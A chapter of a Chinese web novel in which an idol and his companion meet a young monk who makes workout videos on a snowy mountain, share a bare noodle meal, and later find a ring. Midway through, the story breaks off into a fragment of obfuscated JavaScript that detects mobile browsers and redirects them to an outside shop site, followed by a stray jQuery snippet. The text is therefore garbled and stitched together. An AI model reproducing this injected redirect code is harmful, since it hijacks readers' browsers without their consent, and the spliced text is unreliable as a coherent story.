柏林揉揉眼睛,恍惚了一会儿:“……谢谢大哥!”
他高高兴兴地掏出手机,注意到屏幕右上角的信号,竟然是满格。
放眼望去渺无人烟,也没找到人为修建的山路,柏林以为这里是未经管制踏足的无人区。
他意外的愣了愣,没有深究,选择后台播放后点击播放键,将音量调到最大放回了口袋里。
跟练了这么多遍,基本形成了肌肉记忆,听着背景音乐就可以清楚地记得动作。
之所以在酒店里仍然播放着视频画面,是觉得那样就好像是有人陪着自己一起锻炼一样。
野外空旷,音乐声没有阻隔,随着风传得很远,甚至能听到悠扬的回声。
背景音乐本来就空灵平和,洗涤心灵,使人内心平静。
就好像短视频app上有很多爆红的浴室歌姬,在有回声的地方播放音乐,容易有震撼心灵的效果。
柏林起初沉浸的专注打着八段锦,心里赞叹这段背景音在山间果然更缥缈动听了,直到他感觉到回声越来越大,越来越喧宾夺主,甚至逐渐压过了他口袋里的原声——
柏林:“?”
柏林动作逐渐缓慢:“??”
柏林意识到不是幻觉,同时似乎听到了由远及近的嘎吱声——那是有什么轻巧踩踏过厚重积雪的脚步声。
他停住动作,转过身。
韩宇哲拧起眉,神色不定地往声源处看去。
他早就察觉到了有人在这里,只是先前距离远,他懒得理会。
没料到对方竟然朝着他们所在的方向走了过来。
山路陡峭,湿滑,普通人哪怕是装备了全套的登山设备,也难以行走自如,会相当狼狈吃力,不断摔跤。
来人却步履极稳,如履平地。
第 17 章
雪山顶上,寒风呼啸。
从荒山丛中走出来的人一身青色僧衣,戴瓜皮帽,颈间戴一串木质佛珠,手里握着一把半人高的扫把。
不过十’八’九年纪的少年人眉眼秀气,身材斯哈,心平气和地望过来,周身散发着不食烟火气的缥缈禅意。
柏林惊讶地睁大眼睛,两人隔着几米的距离遥遥相望,各自兜里正在播放的音乐略有时间差,一时间谁都没有说话。
两个自带bgm的年轻人相遇了。
柏林在见到来人的第一眼,就认出来了。
……这不就是每天早上,隔着屏幕跟他云同步锻炼身体的up主吗?
他早该想到的,韩宇哲并不是随便找了一个山头,而是精准定位啊!
突如其来的线下真人见面快得像龙卷风,杀了柏林一个措手不及。
下意识的,他屏住呼吸好奇地看向小师傅头顶——
[50]。
柏林:“!”
不高不低,刚好卡着中间值。不愧是佛门弟子,以凡人之身比肩超自然生物,能一定程度上抵御万人迷光环。
小师傅年纪尚小,未能完全做到四大皆空,合情合理。
柏林认识up主,不知道up主认不认识他。这里不是指的评论区的id,而是指的柏林和韩宇哲的男团身份。
只要在网路上搜索,就能查到skye理应正在旺角市拍摄综艺节目的消息,没可能大清早突然出现在千里之外的雪原。持续产出的up主显然是会经常上网的,就是不确定是否曾冲过同一片海域——
就好比说鱼虽然都生活在水里,但红海、黑海、珊瑚海、加勒比海中的鱼,彼此可能一辈子都碰不到面,也意识不到彼此的存在。
如果提问柏林今年获得诺贝尔物理学奖的人全名叫什么,他一时之间也是答不上来的,因为完全不是一个领域。
柏林脑海中闪过数个念头,最后只剩下“老天保佑up不认识skye”。
尽管知道哪怕露馅,队友们背后似乎也有人会替他们解决,但柏林还是希望从源头上就不给up主添麻烦。
柏林:“呃,小师傅你好……”
尚未打完招呼,柏林就看到对方眯起眼睛,缓缓抬起一只手摆了摆。
少林up看着寡言少语,讲话不疾不徐,音色带着少年人特有的清冽:“施主且慢。”
柏林:“嗯?”
柏林不知道他要干嘛,就见对方缓缓从僧衣里摸索着,掏出一副眼镜。
柏林:“……”
戴好眼镜后,少林up茫然眯起的眼睛睁开,无意识皱起的眉头也松开了。他仔细端详了一下柏林,又看了看韩宇哲,唯独没有分出丝毫目光落在柏林脚下那片明显不同寻常的空地上。
意识到韩宇哲应该是做了什么,柏林肉眼可见地放松下来,转而眼睛亮亮地盯着小师傅看。
说起来,少林up也算是养成系。柏林关注他的时候也就寥寥一百来个粉丝,评论区更是空空如也,连杠精都冷到直接跳过。
这位up的性’冷’淡风格在b站健身区一众up中独树一帜,完全没有代餐,柏林很喜欢这种飘雪的安宁意境,生怕宝藏up因为流量太小没人看心灰意冷,不但一键三连,还在对方的每个视频下面,都留了一条[加油]的评论。
考虑到隔着网线读不出语气,柏林还特意选了几个可爱点的表情包,猫猫摇头晃脑地挥舞着荧光棒,以示鼓励。
后来宝藏up火了,柏林也出道了,他每天都很忙碌,就没再留过评论了,但有时间还是会把自己攒的硬币都投给他。
柏林看到up荣获百大up主后,还很开心地给自己买了个蛋糕庆祝,心想自己果然很有眼光,大家都有光明的未来。
韩宇哲记性不差,他看柏林跟视频锻炼的次数不少,也认出了对方。不过他不像柏林有养成滤镜,靠在树干上,没有加入两人对话的意思,懒懒闭上眼拒不交流。
Bgm播完自动停止了,空气突然安静。
少林up率先开口:“施主这是……”
柏林摸摸后脑勺,露出笑容快乐地回答:“对,就是你想象的那样!”
他本意是指他是在看up主的视频没错,而且是老粉了。没想到下一秒少林up松展开的眉头复又蹙起:“施主何苦为了见小僧一面,跑到这深山里来?”
柏林:“……?”
他懵懵地琢磨了几秒钟,才反应过来对方误会了。
不是,他不是追三次元的私生啊!但这是不是同时证明,up并不认识他?柏林陷入思考中,一时间没想好怎么回答。
少林up继续劝解:“素斋不比荤菜,施主恐怕会失望而归。”
柏林灵光一闪,顺口问了一句:“up怎么知道素斋不如荤菜好吃?”
少林up一顿:“……”
空气再度安静。
两人幽幽对视片刻,同时避开了彼此的问题,选择放过对方。
少林up迟疑半晌偏过头:“荒郊野岭无处觅食,小僧就舍施主一餐饭,愿施主用完早早下山去吧。”
柏林眼睛一亮:“真的吗,谢谢!”
“出家人不打诳语。”少林up摇头转身带路,韩宇哲看柏林很高兴的样子,没说什么慢悠悠坠在后面。
一路上,柏林一边机智的小心踩着少林up走过的位置走,一边念念叨叨地聊天:“小师傅,你是一个人住在这里吗?”
少林up脚步平稳,语调平和无波:“不。”
柏林好奇发问:“还有谁呀?还有大师傅吗?”
少林up清俊秀气的脸上神色淡淡:“还有佛,住在我心中。”
柏林:“……”
这突如其来的土味情话既视感,逗得柏林有点忍俊不禁,只是他知道小师傅说的很认真,于是深呼吸硬生生忍住了。
柏林走神的功夫,脚下一个打滑,眼看就要摔倒。千钧一发之际,up就像背后长了眼睛一样,稳稳地握住了他的胳膊。
那是一双长着许多茧子的手,不光滑,却很有力量。
柏林不好意思地挠头:“谢谢啊。”
背后传来重物落地的声音,柏林转过头去,就看到韩宇哲正淡定地坐在雪地里,像超大只的大狗狗朝柏林理直气壮地伸出手:“柏林,我摔倒了。”
韩宇哲扬起精致苍白的下巴,满脸写着:要柏林扶才能起来.jpg。
柏林:“……?”
你哪里是没有做人的经验,明明是连最难掌握精髓的碰瓷都学会了。
他正要说什么,就看到少林up表情不变,先一步朝韩宇哲伸出手。
韩宇哲视线上移,面无表情看着他。半晌,他忽略了这只手,干脆地起身倦倦道:“走吧。”
少林up丝毫不生气,静静看了他一眼,转身继续走了。
柏林朝韩宇哲不赞同地摇摇头,想了想试着跟少林up开玩笑活跃下气氛:“师傅你住在山上,吃斋念佛,为什么还会近视,是佛祖金身散发出的光芒刺痛了你吗?”
少林up:“我佛不能替我剪视频,所以近视。”
柏林:“……”
Up主跟他想的不太一样,蛮冷面笑匠的,果然出家人不打诳语。
柏林好奇:“为什么住在深山里,会想到做up主呢?”
少林up:“我佛不管饭,大隐隐于网。”
柏林:“什么网?”
少林up:“互联网。”
柏林:“……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|9073985|87142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>这对话真的很难进行。
目的地没有想象的远,先前只是冷杉林的枝叶遮挡住了。
与其说是寺庙,更像是一座平平无奇的砖瓦房,面积很小,也很简陋。
少林up让柏林和韩宇哲先坐在院子里的小石桌旁,独自进了厨房。
不过两分钟,少林up就端着碗出来了。
柏林定睛一看,不由得一愣。
所谓的素斋,就是一碗清水面条,配上两颗烫过的小青菜,汤面就是水,连点油星都看不见。
当然也没有荷包蛋。
韩宇哲:“我不吃,谢谢。”
少林up点点头,把碗放到了自己跟前。
这一顿饭,柏林吃的食之无味,但还是礼貌的努力清盘了,一点都没剩下。
时间差不多,该走了。
临走前柏林问:“我能去上柱香吗?”
少林up微怔:“可以。施主也信佛?”
柏林挠挠头笑了:“也不是啦,来都来了。”
少林up:“……”
柏林原本是无神论者,但自从能看到好感度、又见过了各种奇奇怪怪的人和生物后,他总觉得还是宁可信其有。倒不是真的信什么,就是到了寺庙就跟佛祖许愿,到了教堂就跟耶稣许愿——每次许的愿望都不一样,如果真有哪个实现了,柏林就考虑从吃百家饭的海王转唯。
当然,这话只能在心里想想,是不能说给小师傅听的。
路途十分钟,吃饭一分钟。
吃完时间还有剩余,柏林坚持帮忙刷碗,小师傅没拒绝,就当是与这顿饭两相抵消。
水是从山上引的,冰的刺骨,柏林想着还好刚刚韩宇哲帮他隔绝了寒冷,余光瞥见小师傅手机响了,是微信经典提示音。
柏林开玩笑:“是佛祖联系你了吗?”
小师傅不急不缓地打字:“不,是找我做推广的广告商。”
柏林:“……”
紧接着,小师傅的手机响起了支付宝的转账电子提示音:“支付宝到账——八,万,元。”
柏林:“……”
小师傅,你有点贵。
柏林感慨:没想到养成的up已然可以不依靠阿爹自立门户了,不枉他过去几年坚持每日登录努力投喂圆圆的硬币。
不过小师傅赚的蛮多,居住条件却过于简陋了,不知道是不是真的把钱都用来供奉寺庙了。
感受到柏林默默看着他的复杂视线,小师傅处理完业务抬头,坦然认真的道:“活着就要吃饭的。小僧堂堂正正纳税,无愧于心,根正苗红。”
柏林小声嘟囔道:“这话可不兴说啊。”
一些塌房同行车轱辘的老实纳税、根正苗红ptsd。
小师傅没听见,柏林也没继续说。
柏林没有窥屏的意思,只是无意中发现少林up使用的是微信界面跟他长的很不一样。
“我第一次见长这样的微信界面诶?”
小师傅推了推眼镜:“我开了微信关怀模式。”
柏林头一次听说这个功能:“啊?”
小师傅点开介绍给他看——
[文字更大,色彩更强,按钮更大,还可开启[听文字消息]功能]
柏林:“……”
奇怪的知识增加了。
少林up没有送他们,目送了他们一会儿,就开始心无旁骛扫雪。
瞬移要等走出少林up的视线范围,柏林蹦跶着踩刚刚来时的脚印。
半个小时过去,光线明显亮了许多,光线直直穿过松杉,柏林注意到地面上似乎有什么东西。
他走过去,弯腰将雪堆里反光的东西捡了起来。
柏林将雪和沾到的泥土拍掉,发现这竟然是一枚戒指。